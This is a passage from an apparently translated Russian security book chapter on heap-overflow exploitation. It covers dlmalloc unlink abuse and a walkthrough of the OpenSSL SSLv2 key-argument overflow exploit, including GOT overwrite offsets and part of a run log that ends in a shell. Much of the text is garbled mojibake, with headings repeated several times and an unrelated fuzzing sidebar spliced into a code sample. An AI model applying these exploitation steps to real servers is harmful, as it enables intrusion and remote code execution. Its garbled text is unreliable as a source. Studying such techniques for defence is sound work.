êîòîðûõ âûäåëåíà èç êó÷è, è ýêñïëîéòû äëÿ òàêèõ îøèáîê ïèøóòñÿ èíà÷å,
÷åì äëÿ ïåðåïîëíåíèé áóôåðà â ñòåêå. Íà÷èíàÿ ñ 2000 ãîäà ïåðåïîëíåíèå áó-
ôåðà â êó÷å ñòàëî îäíèì èç ñàìûõ ïåðñïåêòèâíûõ «ìåñòîðîæäåíèé» îøèáîê.
Â îòëè÷èå îò ïåðåïîëíåíèÿ ñòåêà, òàêèå îøèáêè ïëîõî âîñïðîèçâîäèìû,
è äëÿ èõ ýêñïëóàòàöèè ïðèìåíÿþòñÿ ðàçëè÷íûå ïðèåìû. Â ýòîì ðàçäåëå ìû
ïîñìîòðèì, êàê ïðèëîæåíèå ìîæåò èñïîðòèòü ïàìÿòü â êó÷å, êàê ìîæíî
íàïèñàòü ýêñïëîéò äëÿ òàêèõ îøèáîê è êàê èçáåæàòü èõ.

Ïðèëîæåíèå âûäåëÿåò ïàìÿòü èç êó÷è ïî ìåðå íåîáõîäèìîñòè. Äëÿ ýòîãî
ïðèìåíÿåòñÿ ôóíêöèÿ malloc(). Åé ïåðåäàåòñÿ ÷èñëî òðåáóåìûõ áàéòîâ, à âîç-
âðàùàåò îíà óêàçàòåëü íà âûäåëåííóþ îáëàñòü ïàìÿòè. Ïîðÿäîê îáðàùåíèÿ ê
malloc() ïîêàçàí íèæå:

#include <stdio.h>

Примечание

Генераторы случайных данных – это попытка применить автомати�
зированный подход к поиску новых ошибок в программном обеспе�
чении. Они посылают на вход приложения неожиданные данные. На�
пример, такой генератор может 500 000 раз попытаться соединиться
с FTP�сервером, используя имена и пароли случайной длины – как
короткие, так и аномально длинные. Потенциально генератор может
пробовать неограниченное число комбинаций, пока сервер не вер�
нет аномальный ответ. Одновременно можно наблюдать за работой
FTP�сервера с помощью трассировщика, оценивая, как он обраба�
тывал различные входные данные. Такой подход на практике работа�
ет только для приложений, за которыми никто не следит.
Генераторы случайных данных могут делать и больше, чем простая
отправка 8000 букв «A» на вход процедуры аутентификации, но, к со�
жалению, ненамного. Они идеальны для быстрой проверки на нали�
чие типичных, легко обнаруживаемых ошибок (только сначала нужно
написать для исследуемого приложения достаточно полный генера�
тор), но не более того. Самым многообещающим из разрабатывае�
мых общедоступных генераторов случайных данных является SPIKE.
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int
main(void)
{
  char *buffer;
  buffer = malloc(1024);
}

Çäåñü ïðèëîæåíèå çàïðàøèâàåò èç êó÷è 1024 áàéòà, è malloc() âîçâðàùàåò
óêàçàòåëü íà âûäåëåííóþ îáëàñòü ïàìÿòè. Àëãîðèòì óïðàâëåíèÿ êó÷åé â ðàç-
íûõ îïåðàöèîííûõ ñèñòåìàõ ðàçëè÷åí. Íàïðèìåð, â Linux ïðèìåíÿåòñÿ ðåà-
ëèçàöèÿ, ïðèäóìàííàÿ Äóãîì Ëåà (Doug Lea Malloc), à â Solaris – ðåàëèçàöèÿ,
çàèìñòâîâàííàÿ èç System V. Èìåííî â àëãîðèòìå äèíàìè÷åñêîãî ðàñïðåäå-
ëåíèÿ è îñâîáîæäåíèÿ ïàìÿòè è êðîåòñÿ ïðè÷èíà áîëüøèíñòâà óÿçâèìîñòåé.
Ìû ðàññìîòðèì íàèáîëåå ÷àñòî àòàêóåìûå ðåàëèçàöèè malloc() Äóãà Ëåà è
System V AT&T.

Ðåàëèçàöèÿ Äóãà ËåàÐåàëèçàöèÿ Äóãà ËåàÐåàëèçàöèÿ Äóãà ËåàÐåàëèçàöèÿ Äóãà ËåàÐåàëèçàöèÿ Äóãà Ëåà
Àëãîðèòì «Doug Lea Malloc» (dlmalloc) èñïîëüçóåòñÿ ïðàêòè÷åñêè âî âñåõ ñèñ-
òåìàõ Linux. Åãî ðåàëèçàöèÿ ïîçâîëÿåò áåç òðóäà íàïèñàòü ýêñïëîéò, åñëè îá-
íàðóæåíà îøèáêà çàòèðàíèÿ êó÷è. Âñÿ êó÷à â ýòîì àëãîðèòìå îðãàíèçîâàíà
â âèäå íàáîðà áëîêîâ (chunk). Áëîê ñîäåðæèò èíôîðìàöèþ, ïîçâîëÿþùóþ
dlmalloc ýôôåêòèâíî âûäåëÿòü è îñâîáîæäàòü ïàìÿòü. Íà ðèñ. 11.6 ïîêàçàíî,
êàê âûãëÿäèò êó÷à ñ òî÷êè çðåíèÿ dlmalloc.

Рис. 11.5. Рис. 11.5. Рис. 11.5. Рис. 11.5. Рис. 11.5. Схема организации памяти

Рис. 11.6. Рис. 11.6. Рис. 11.6. Рис. 11.6. Рис. 11.6. Блок кучи с точки зрения dlmalloc.

Эксплойты для затирания кучи
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Â ïîëå prev_size õðàíèòñÿ ðàçìåð ïðåäûäóùåãî áëîêà, íî ëèøü â òîì ñëó÷àå,
êîãäà ïðåäûäóùèé áëîê íå ðàñïðåäåëåí. Åñëè æå ïðåäûäóùèé áëîê ðàñïðåäå-
ëåí, òî â ýòîì ïîëå õðàíÿòñÿ äàííûå, ÷òîáû íå òðàòèòü çðÿ ÷åòûðå áàéòà.

Â ïîëå size õðàíèòñÿ äëèíà òåêóùåãî ðàñïðåäåëåííîãî áëîêà. Îòìåòèì, ÷òî
ïðè âûçîâå malloc() ê çàïðîøåííîìó ÷èñëó áàéòîâ ïðèáàâëÿåòñÿ 4, è çàòåì ðå-
çóëüòàò îêðóãëÿåòñÿ äî áëèæàéøåé ãðàíèöû äâîéíîãî ñëîâà. Íàïðèìåð, åñëè
ïðîãðàììà âûçâàëà malloc(9), òî áóäåò âûäåëåíî 16 áàéòîâ. Èç-çà òàêîãî îêðóã-
ëåíèÿ ìëàäøèå òðè áèòà äëèíû áëîêà âñåãäà ðàâíû 0. ×òîáû îíè íå ïðîïàäàëè
çðÿ, dlmalloc õðàíèò â íèõ áèòîâûå àòðèáóòû ðàñïðåäåëåííîãî áëîêà. Ñ òî÷êè
çðåíèÿ ýêñïëîéòà, ñàìûì èíòåðåñíûì ÿâëÿåòñÿ ìëàäøèé áèò. Îí íàçûâàåòñÿ
PREV_INUSE è ãîâîðèò î òîì, ðàñïðåäåëåí èëè íåò ïðåäûäóùèé áëîê.

Íàêîíåö, ïîëå data – ýòî êàê ðàç òà îáëàñòü ïàìÿòè, íà êîòîðóþ malloc()
âîçâðàùàåò óêàçàòåëü. Â íåå êîïèðóþòñÿ äàííûå, è èìåííî îíà äîñòóïíà ïðè-
ëîæåíèþ, íàïðèìåð, ñ ïîìîùüþ ôóíêöèé memset() è memcpy().

Êîãäà ïàìÿòü îñâîáîæäàåòñÿ ôóíêöèåé free(), áëîêè ðåîðãàíèçóþòñÿ.
dlmalloc ñíà÷àëà ïðîâåðÿåò, ñâîáîäíû ëè ñîñåäíèå áëîêè. Åñëè ýòî òàê, òî ñâî-
áîäíûå è òîëüêî ÷òî îñâîáîæäåííûé áëîê îáúåäèíÿþòñÿ â îäèí áîëåå
êðóïíûé áëîê ñâîáîäíîé ïàìÿòè. Ïîñëå òîãî êàê äëÿ íåêîòîðîãî áëîêà âû-
ïîëíåíà ôóíêöèÿ free(), åãî ñòðóêòóðà ñòàíîâèòñÿ òàêîé, êàê íà ðèñ. 11.7.

Рис. 11.7. Рис. 11.7. Рис. 11.7. Рис. 11.7. Рис. 11.7. Освобожденный блок в алгоритме dlmalloc

Ïåðâûå âîñåìü áàéòîâ îñâîáîæäåííîãî áëîêà çàìåíÿþòñÿ äâóìÿ óêàçàòå-
ëÿìè, êîòîðûå íàçûâàþòñÿ fd (forward) è bk (backward). fd óêàçûâàåò íà ïîñëå-
äóþùèé, à bk íà ïðåäûäóùèé ýëåìåíò â äâóñâÿçíîì ñïèñêå ñâîáîäíûõ áëîêîâ.
Ïðè êàæäîì âûçîâå free() ïðîâåðÿåòñÿ, íåëüçÿ ëè îáúåäèíèòü âíîâü îñâîáîæ-
äåííûé áëîê ñ êàêèì-íèáóäü ñâîáîäíûì. Îáëàñòü, ïîìå÷åííàÿ «íåèñïîëüçó-
åìàÿ ïàìÿòü», – ýòî ðàíåå âûäåëåííàÿ â ñîñòàâå äàííîãî áëîêà ïàìÿòü. Êîãäà
áëîê îñâîáîæäåí, îíà íå ïðèíàäëåæèò íèêîìó.

Âíóòðåííå ïðèñóùàÿ ðåàëèçàöèè dlmalloc ïðîáëåìà ñîñòîèò â òîì, ÷òî
óïðàâëÿþùàÿ èíôîðìàöèÿ õðàíèòñÿ â òîé æå îáëàñòè, ÷òî è äàííûå. ×òî
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ïðîèçîéäåò, åñëè ïðîãðàììà çàïèøåò äàííûå çà ïðåäåëàìè âûäåëåííîãî áëî-
êà è çàòðåò ñëåäóþùèé áëîê, â òîì ÷èñëå è íàõîäÿùóþñÿ â íåì óïðàâëÿþùóþ
èíôîðìàöèþ?

Êîãäà áëîê ïàìÿòè îñâîáîæäàåòñÿ ôóíêöèåé free(), âûçûâàåòñÿ âíóòðåííÿÿ
ôóíêöèÿ chunk_free(), âûïîëíÿþùàÿ íåêîòîðûå ïðîâåðêè. Ïðåæäå âñåãî, îíà
ñìîòðèò, íå ãðàíè÷èò ëè îñâîáîæäàåìûé áëîê ñ ñàìûì ïåðâûì áëîêîì. Åñëè
äà, òî ýòè äâà áëîêà îáúåäèíÿþòñÿ. Äàëåå, åñëè áëîê, ïðåäøåñòâóþùèé îñâî-
áîæäàåìîìó, ïîìå÷åí ïðèçíàêîì «íå èñïîëüçóåòñÿ», òî ïðåäûäóùèé áëîê
èñêëþ÷àåòñÿ èç ñïèñêà ñâîáîäíûõ è îáúåäèíÿåòñÿ ñ îñâîáîæäàåìûì. Â ïðèìå-
ðå 11.4 ïîêàçàíà óÿçâèìàÿ ïðîãðàììà, â êîòîðîé èñïîëüçóåòñÿ dlmalloc.

Пример 11.4. Пример 11.4. Пример 11.4. Пример 11.4. Пример 11.4. Пример уязвимой программы
 1 #include <stdio.h>

 2 int main(int argc, char **argv)

 3 {

 4   char *p1;

 5   char *p2;

 6
 7   p1 = malloc(1024);

 8   p2 = malloc(512);

 9
10   strcpy(p1, argv[1]);

11
12   free(p1);

13   free(p2);

14
15   exit(0);

16 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ýòîé ïðîãðàììå îøèáêà äîïóùåíà â ñòðîêå 10. Ôóíêöèÿ strcpy âûçûâàåòñÿ
áåç ïðîâåðêè íà âûõîä çà ãðàíèöû áóôåðà p1. Ïåðåìåííàÿ p1 óêàçûâàåò íà âû-
äåëåííóþ èç êó÷è ïàìÿòü ðàçìåðîì 1024 áàéòà. Åñëè ïðîãðàììà çàïèøåò â íåå
áîëüøå 1024 áàéòîâ, òî áóäåò çàòåðò ñëåäóþùèé áëîê (p2) è, â ÷àñòíîñòè,
õðàíÿùàÿñÿ â íåì óïðàâëÿþùàÿ èíôîðìàöèÿ. Êàê âèäíî èç ðèñ. 11.8, ýòè äâà
áëîêà ÿâëÿþòñÿ ñìåæíûìè.

Åñëè áóôåð p1 ïåðåïîëíÿåòñÿ, òî çàòèðàþòñÿ ïîëÿ prev_size, size è data â áëî-
êå p2. Ýòîé óÿçâèìîñòüþ ìîæíî âîñïîëüçîâàòüñÿ, ñêîíñòðóèðîâàâ ñïåöèàëü-
íûé áëîê, ñîäåðæàùèé òàêèå çíà÷åíèÿ óêàçàòåëåé fd è bk, êîòîðûå ïîçâîëÿò
íàì êîíòðîëèðîâàòü ñâÿçàííûé ñïèñîê. Ñíà÷àëà ïðîâåðÿåòñÿ, ãðàíè÷èò ëè
ïåðåïîëíèâøèéñÿ áëîê ñ ñàìûì ïåðâûì. Åñëè ýòî òàê, âûçûâàåòñÿ ìàêðîñ
unlink, ïîêàçàííûé íèæå.

Эксплойты для затирания кучи
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#define FD *(next->fd + 12)
#define BK *(next->fd + 8)
#define P (next)

#define unlink(P, BK, FD)
{
  BK = P->bk; \
  FD = P->fd; \
  FD->bk = BK; \
  BK->fd = FD; \
}

Ïîñêîëüêó ìû óïðàâëÿåì çíà÷åíèÿìè óêàçàòåëåé bk è fd, òî ïðè îñâîáîæ-
äåíèè áëîêà ñìîæåì çàñòàâèòü ïðîãðàììó âûïîëíèòü íóæíûå íàì ìàíèïóëÿ-
öèè. Äëÿ íàïèñàíèÿ ýêñïëîéòà íåîáõîäèìî ïîäãîòîâèòü áëîê ñïåöèàëüíûì
îáðàçîì. Òðåáóåòñÿ, ÷òîáû â ïîëå size ìëàäøèé áèò áûë ðàâåí 0 (ïðèçíàê
PREV_INUSE îòêëþ÷åí), à çíà÷åíèÿ prev_size è size áûëè íàñòîëüêî ìàëû, ÷òî-
áû ïðè äîáàâëåíèè ê óêàçàòåëþ íå âûçâàòü îøèáêó íàðóøåíèÿ çàùèòû ïà-
ìÿòè. Âû÷èñëÿÿ çíà÷åíèÿ fd è bk, íå çàáóäüòå âû÷åñòü 12 èç àäðåñà, ñîäåðæè-
ìîå êîòîðîãî ñîáèðàåòåñü ïåðåïèñàòü (âçãëÿíèòå íà îïðåäåëåíèå FD). Íà
ðèñ. 11.9 ïîêàçàíî, êàê äîëæåí âûãëÿäåòü ñêîíñòðóèðîâàííûé áëîê.

Рис. 11.8.Рис. 11.8.Рис. 11.8.Рис. 11.8.Рис. 11.8. Расположение блоков в памяти

Рис. 11.9. Рис. 11.9. Рис. 11.9. Рис. 11.9. Рис. 11.9. Специально сконструированный блок
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Òàêæå ñëåäóåò ïîìíèòü, ÷òî ïî àäðåñó bk + 8 áóäåò çàïèñàíî çíà÷åíèå «ìå-
ñòîïîëîæåíèÿ àäðåñà âîçâðàòà – 12». Åñëè ïî ýòîìó àäðåñó ðàçìåñòèòü shell-
êîä, òî ïî «àäðåñó âîçâðàòà» äîëæíà íàõîäèòüñÿ êîìàíäà ïåðåõîäà, êîòîðàÿ
îáîéäåò áåññìûñëåííóþ êîìàíäó, ðàñïîëîæåííóþ ïî «àäðåñó âîçâðàòà + 8».
Îáû÷íî óïîòðåáëÿåòñÿ êîìàíäà jmp 10 è çàïîëíåíèå ïóñòûìè êîìàíäàìè
nop. Ïîñëå òîãî êàê ïðîèçîéäåò ïåðåïîëíåíèå â ñêîíñòðóèðîâàííîì íàìè
áëîêå, ïàìÿòü áóäåò âûãëÿäåòü òàê, êàê ïîêàçàíî íà ðèñ. 11.10.

Рис. 11.10. Рис. 11.10. Рис. 11.10. Рис. 11.10. Рис. 11.10. После переполнения

Ïîñëå âòîðîãî îáðàùåíèÿ ê ôóíêöèè free() ê ïðîãðàììå èç ïðèìåðà 11.4,
çàòåðòûé áëîê èñêëþ÷àåòñÿ èç ñïèñêà è ïðîèñõîäèò ðàçûìåíîâàíèå óêàçàòå-
ëÿ. Åñëè ïî àäðåñó, õðàíÿùåìóñÿ â óêàçàòåëå bk, ðàçìåùåí shell-êîä, òî îí
áóäåò âûïîëíåí.

Пример: уязвимость, связанная
с переполнением буфера из�за
неправильно сформированного
клиентского ключа в OpenSSL
SSLv2, CAN�2002�0656
Â áèáëèîòåêå OpenSSL âåðñèè 2 èìååòñÿ îøèáêà, ñâÿçàííàÿ ñ ïðîöåäóðîé
îáìåíà êëþ÷àìè. Îíà çàòðàãèâàåò ìíîæåñòâî ìàøèí ïî âñåìó ìèðó, ïîýòîìó
åå àíàëèç è íàïèñàíèå ñîîòâåòñòâóþùåãî ýêñïëîéòà èìåþò âûñîêèé ïðèîðè-

Пример: уязвимость, связанная с переполнением буфера
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òåò. Óÿçâèìîñòü âîçíèêàåò ïîòîìó, ÷òî ïîëüçîâàòåëþ ðàçðåøåíî ìîäèôèöè-
ðîâàòü ïåðåìåííóþ size, ïåðåäàâàåìóþ ôóíêöèè êîïèðîâàíèÿ ïàìÿòè. Çàäàâ
ïðîèçâîëüíûé ðàçìåð, ìîæíî çàñòàâèòü ïðîãðàììó ñêîïèðîâàòü ñëèøêîì
ìíîãî äàííûõ è òåì ñàìûì ïåðåïîëíèòü áóôåð-ïðèåìíèê. Ýòîò áóôåð âûäå-
ëåí èç êó÷è è, ñëåäîâàòåëüíî, äëÿ óÿçâèìîñòè ìîæíî íàïèñàòü ýêñïëîéò.

Îïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòè
Îøèáêà äîïóùåíà â ñëåäóþùåé ñòðîêå â áèáëèîòåêå OpenSSL:

memcpy(s->session_key_arg, &(p[s->s2->tmp.clear + s->s2->tmp.enc]),
       (unsigned int) keya);

Ïîëüçîâàòåëü ìîæåò ñêîíñòðóèðîâàòü ñïåöèàëüíûé ïàêåò, ñîäåðæàùèé
ãëàâíûé êëþ÷, êîòîðûé îïðåäåëÿåò çíà÷åíèå keya. Åñëè çàäàòü äîñòàòî÷íî
áîëüøîå çíà÷åíèå, òî ïî àäðåñó s->session_key_arg áóäåò çàïèñàíî áîëüøå
äàííûõ, ÷åì îæèäàåòñÿ. Â äåéñòâèòåëüíîñòè key_arg óêàçûâàåò íà ìàññèâ èç
8 áàéòîâ â ñòðóêòóðå òèïà SSL_SESSION, âûäåëåííîé èç êó÷è.

Îïèñàíèå ýêñïëîéòàÎïèñàíèå ýêñïëîéòàÎïèñàíèå ýêñïëîéòàÎïèñàíèå ýêñïëîéòàÎïèñàíèå ýêñïëîéòà

Ïîñêîëüêó óÿçâèìîñòü ñâÿçàíà ñ êó÷åé, ýêñïëîéò ìîæåò è íå ðàáîòàòü íà ðàç-
íûõ ïëàòôîðìàõ. Òåì íå ìåíåå ïðåäñòàâëåííûé íèæå âàðèàíò ðàáîòàåò íà
ìíîãèõ ïëàòôîðìàõ è íå çàâèñèò îò ñïåöèôè÷íûõ äëÿ êîíêðåòíîé ÎÑ ìåòî-
äîâ ðàñïðåäåëåíèÿ ïàìÿòè. Ìû çàòðåì âñå ïîëÿ â ñòðóêòóðå SSL_SESSION, íà
êîòîðóþ óêàçûâàåò key_arg. Ýòà ñòðóêòóðà îïðåäåëåíà ñëåäóþùèì îáðàçîì:

 1 typedef struct ssl_session_st

 2 {

 3   int ssl_version;

 4   unsigned int key_arg_length;

 5
 6   unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];

 7
 8   int master_key_length;

 9   unsigned int session_id_length;

10   unsigned char session_id[SSL_MAX_SESSION_ID_LENGTH];

11   unsigned int sid_ctx_length;

12   unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

14   int not_resumable;

15   struct sess_cert_st /* SESS_CERT */ *sess_cert;

16   X509 *peer;

17   long verify_result;  /* òîëüêî äëÿ ñåðâåðîâ */

18   int references;

19   long timeout;
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20   long time;

21   int compress_meth;

22   SSL_CIPHER *cipher;

23   unsigned long cipher_id;

24   STACK_OF(SSL_CIPHER) *ciphers;  /* ðàçäåëÿåìûå øèôðû? */

25   CRYPTO_EX_DATA ex_data;         /* äàííûå ïðèëîæåíèÿ */

26
27   struct ssl_session_st *prev, *next;

28 } SSL_SESSION;

Íà ïåðâûé âçãëÿä, â ýòîé ñòðóêòóðå íåò íè÷åãî, ÷òî ñòîèëî áû ïåðåçàïèñû-
âàòü (íèêàêèõ óêàçàòåëåé íà ôóíêöèè). Îäíàêî â ñàìîì êîíöå èìåþòñÿ óêàçà-
òåëè prev è next, íåîáõîäèìûå äëÿ óïðàâëåíèÿ ñâÿçàííûì ñïèñêîì ssl-ñåññèé.
Ïî çàâåðøåíèè ïðîöåäóðû êâèòèðîâàíèÿ, ïðèíÿòîé â ïðîòîêîëå SSL, íîâàÿ
ñåññèÿ ïîìåùàåòñÿ â ýòîò ñïèñîê ñëåäóþùåé ôóíêöèåé:

(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)
1 static void SSL_SESSION_list_add(SSL_CTX *ctx, SSL_SESSION *s)

2 {

3   if ((s->next != NULL) && (s->prev != NULL))

4      SSL_SESSION_list_remove(ctx,s);

Çäåñü ãîâîðèòñÿ, ÷òî åñëè óêàçàòåëè next è prev íå ðàâíû NULL (à îíè è
áóäóò íåíóëåâûìè, åñëè ìû èõ ïåðåïèøåì), òî OpenSSL óäàëÿåò óêàçàííóþ
ñåññèþ èç ñïèñêà. Ïåðåçàïèñûâàíèå ñîäåðæèìîãî ïðîèçâîëüíûõ 32-ðàçðÿä-
íûõ ñëîâ â ïàìÿòè ïðîèñõîäèò â ôóíêöèè SSL_SESSION_list_remove:

(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)(из файла ssl_sess.c – небольшой фрагмент)
1 static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s)

2 {

3   /* ñåðåäèíà ñïèñêà */

4   s->next->prev = s->prev;

5   s->prev->next = s->next;

6 }

ТТТТТо же на ассемблере:о же на ассемблере:о же на ассемблере:о же на ассемблере:о же на ассемблере:
0x1c532 <SSL_SESSION_list_remove+210>: mov    %ecx,0xc0(%eax)
0x1c538 <SSL_SESSION_list_remove+216>: mov    0xc(%ebp),%edx

Ýòîò êîä ïîçâîëÿåò çàïèñàòü â 32-ðàçðÿäíîå ñëîâî ïî ïðîèçâîëüíîìó àä-
ðåñó ñîäåðæèìîå 32-ðàçðÿäíîãî ñëîâà ïî äðóãîìó, òîæå ïðîèçâîëüíîìó àä-
ðåñó. Íàïðèìåð, ÷òîáû èçìåíèòü àäðåñ ôóíêöèè strcmp â ãëîáàëüíîé òàáëèöå
ñìåùåíèé (GOT), ìû ìîæåì ïîäãîòîâèòü áóôåð òàê, ÷òîáû next óêàçûâàë íà
àäðåñ strcmp – 192, à prev ñîäåðæàë àäðåñ íàøåãî shell-êîäà.

Пример: уязвимость, связанная с переполнением буфера
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ÒðóäíîñòèÒðóäíîñòèÒðóäíîñòèÒðóäíîñòèÒðóäíîñòè
Óñëîæíÿþò íàïèñàíèå ýêñïëîéòà äâà óêàçàòåëÿ â ñòðóêòóðå SSL_SESSION:
ci pher è ciphers. Îíè ñâÿçàíû ñ ïðîöåäóðàìè äåøèôðèðîâàíèÿ äëÿ SSL-ñåñ-
ñèè. Åñëè îíè îêàæóòñÿ çàòåðòû, òî äåøèôðèðîâàíèÿ íå ïðîèçîéäåò è ñåññèÿ
íå áóäåò ïîìåùåíà â ñïèñîê. Ïîýòîìó íåîáõîäèìî ïîëó÷èòü çíà÷åíèÿ ýòèõ
óêàçàòåëåé äî òîãî, êàê ìû íà÷íåì êîíñòðóèðîâàòü ñâîé áóôåð.

Íà íàøå ñ÷àñòüå, óÿçâèìîñòü â OpenSSL ïîðîäèëà íåêóþ óòå÷êó èíôîðìà-
öèè. Êîãäà SSL ïîñûëàåò ñîîáùåíèå «server finish» â õîäå ïðîöåäóðû êâèòèðî-
âàíèÿ, òî âìåñòå ñ íèì êëèåíòó ïîñûëàåòñÿ çíà÷åíèå ïîëÿ session_id èç ñòðóê-
òóðû SSL_SESSION.

(из файла s2_srvr.c)(из файла s2_srvr.c)(из файла s2_srvr.c)(из файла s2_srvr.c)(из файла s2_srvr.c)
 1 static int

 2 server_finish(SSL *s)

 3 {

 4   unsigned char *p;

 5
 6   if (s->state == SSL2_ST_SEND_SERVER_FINISHED_A) {
 7      p = (unsigned char *) s->init_buf->data;

 8      *(p++) = SSL2_MT_SERVER_FINISHED;

 9
10      memcpy(p, s->session->session_id,

11             (unsigned int) s->session->session_id_length);

12      /* p += s->session->session_id_length; */

13
14      s->state = SSL2_ST_SEND_SERVER_FINISHED_B;

15      s->init_num = s->session->session_id_length + 1;

16      s->init_off = 0;

17   }

18   /* SSL2_ST_SEND_SERVER_FINISHED_B */

19 }

Â ñòðîêàõ 10 è 11 OpenSSL êîïèðóåò â áóôåð session_id_length áàéòîâ çíà÷å-
íèÿ session_id. Ïîëå session_id_length ðàñïîëîæåíî â ñòðóêòóðå SSL_SESSION
ñðàçó ïîñëå ìàññèâà key_arg, ñëåäîâàòåëüíî, ìû ìîæåì ìîäèôèöèðîâàòü åãî
çíà÷åíèå. Çàäàâ äëÿ session_id_length çíà÷åíèå 112, ìû ïîëó÷èì îò ñåðâåðà
äàìï ïàìÿòè â êó÷å, âêëþ÷àþùèé àäðåñà, õðàíÿùèåñÿ â ïîëÿõ ci pher è ci phers.

Èòàê, íóæíûå àäðåñà ìû çíàåì. Òåïåðü íàäî íàéòè ìåñòî äëÿ shell-êîäà.
Êñòàòè, íàì íåîáõîäèì shell-êîä, êîòîðûé ïîâòîðíî èñïîëüçóåò óæå îòêðû-
òûé ñîêåò. Ê íåñ÷àñòüþ, shell-êîä, êîòîðûé ïåðåáèðàåò âñå ôàéëîâûå äåñê-
ðèïòîðû è çàòåì äóáëèðóåò íóæíûé íà stdin, stdout è stderr, ñëèøêîì äëèííûé.
×òîáû shell-êîä âûïîëíèëñÿ óñïåøíî, ïðèäåòñÿ ðàçáèòü åãî íà äâå ÷àñòè,
îäíó ïîìåñòèòü â ìàññèâ session_id, à äðóãóþ – â ïàìÿòü, ñëåäóþùóþ çà ñòðóê-
òóðîé SSL_SESSION.
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È, íàêîíåö, íàì íóæíî òî÷íî çíàòü, ïî êàêèì àäðåñàì áóäåò ðàçìåùåí shell-
êîä. Íî ïîñëåäîâàòåëüíîñòü âûäåëåíèÿ è îñâîáîæäåíèÿ ïàìÿòè èç êó÷è íå-
ïðåäñêàçóåìà, òàê ÷òî ãðóáàÿ ñèëà íè ê ÷åìó íå ïðèâåäåò. Îäíàêî èçâåñòíî, ÷òî
â òîëüêî ÷òî ïîðîæäåííîì ïðîöåññå Apache ïåðâàÿ ñòðóêòóðà SSL_SESSION âñå-
ãäà îêàçûâàåòñÿ íà îäíîì è òîì æå  ðàññòîÿíèè îò óêàçàòåëÿ ci phers (à ìû óæå
çíàåì åãî àäðåñ). ×òîáû ýêñïëîéò ñðàáîòàë, ìû ïîäìåíèì àäðåñ ôóíêöèè
strcmp â ãëîáàëüíîé òàáëèöå ñìåùåíèé (ïîñêîëüêó äåñêðèïòîð ñîêåòà äëÿ
ýòîãî  ïðîöåññà âñå  åùå  îòêðûò) àäðåñîì ci phers – 136. Ýòîò ïîäõîä ðàáîòàåò,
íàì óäàëîñü òàêèì îáðàçîì óñïåøíî âçëîìàòü íåñêîëüêî âåðñèé Linux.

Óñîâåðøåíñòâîâàíèå ýêñïëîéòàÓñîâåðøåíñòâîâàíèå ýêñïëîéòàÓñîâåðøåíñòâîâàíèå ýêñïëîéòàÓñîâåðøåíñòâîâàíèå ýêñïëîéòàÓñîâåðøåíñòâîâàíèå ýêñïëîéòà
×òîáû óñîâåðøåíñòâîâàòü ýêñïëîéò, ìû äîëæíû íàéòè äîïîëíèòåëüíûå àä-
ðåñà â ãëîáàëüíîé òàáëèöå ñìåùåíèé (GOT), êîòîðûå ìîæíî áûëî áû ïåðå-
ïèñàòü. Ýòè àäðåñà ìåíÿþòñÿ â êàæäîé âåðñèè OpenSSL. Ïîëó÷èòü èíôîðìà-
öèþ î GOT ìîæíî ñ ïîìîùüþ óòèëèòû objdump:

Чтобы получить смещения для Linux:Чтобы получить смещения для Linux:Чтобы получить смещения для Linux:Чтобы получить смещения для Linux:Чтобы получить смещения для Linux:
$ objdump -R /usr/sbin/httpd | grep strcmp
080b0ac8 R_386_JUMP_SLOT      strcmp

Открыть файл ultrassl.c и в массив target поместить:Открыть файл ultrassl.c и в массив target поместить:Открыть файл ultrassl.c и в массив target поместить:Открыть файл ultrassl.c и в массив target поместить:Открыть файл ultrassl.c и в массив target поместить:
{ 0x080b0ac8, "slackware 8.1" },

ÂûâîäÂûâîäÂûâîäÂûâîäÂûâîä
Íà ïðèìåðå ýòîãî ýêñïëîéòà ìû ïðîäåìîíñòðèðîâàëè òåõíèêó àòàêè íà íå-
äàâíî îáíàðóæåííóþ óÿçâèìîñòü â OpenSSL. Õîòÿ àòàêà âîçìîæíà, íî ýêñ-
ïëîéò ìîæåò è íå ñðàáîòàòü â çàâèñèìîñòè îò ñîñòîÿíèÿ àòàêóåìîãî Web-
ñåðâåðà. ×åì áîëüøå çàêîííîãî SSL-òðàôèêà ïîëó÷àåò æåðòâà, òåì ïðèçðà÷-
íåå øàíñû íà óñïåõ àòàêè. Èíîãäà ïðèõîäèòñÿ çàïóñêàòü ýêñïëîéò íåñêîëüêî
ðàç, ÷òîáû äîáèòüñÿ íóæíîãî ðåçóëüòàòà. Êàê âèäíî èç ïðèìåðà èñïîëíåíèÿ
ýêñïëîéòà íèæå, ìû ïîëó÷èëè îáîëî÷êó ñ ïðàâàìè ïîëüçîâàòåëÿ, îò èìåíè êî-
òîðîãî ðàáîòàåò Apache.

1 (bind@ninsei ~/coding/exploits/ultrassl) > ./ultrassl -t2 10.0.48.64

2 ultrassl – an openssl <= 0.9.6d apache exploit

3 written by marshall beddoe <marshall.beddoe@foundstone.com>

4
5 àòàêà íà redhat 7.2 (Enigma)

6 äëèíà shell-êîäà 104 áàéò

7
8 ñîçäàþòñÿ ñîåäèíåíèÿ: 20 èç 20

9

Пример: уязвимость, связанная с переполнением буфера
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10 îðãàíèçóåòñÿ óòå÷êà èíôîðìàöèè:

11 06 15 56 33 4b a2 33 24  39 14 0e 42 75 5a 22 f6  | ..V3K.3$9..BuZ".

12 a4 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | ................

13 00 20 00 00 00 62 33 38  31 61 30 63 61 38 66 36  | . ...b381a0ca8f6

14 39 30 33 35 37 32 64 65  34 36 39 31 35 34 65 33  | 903572de469154e3

15 39 36 62 31 66 00 00 00  00 f0 51 15 08 00 00 00  | 96b1f.....Q.....

16 00 00 00 00 00 01 00 00  00 2c 01 00 00 64 70 87  | .........,...dp.
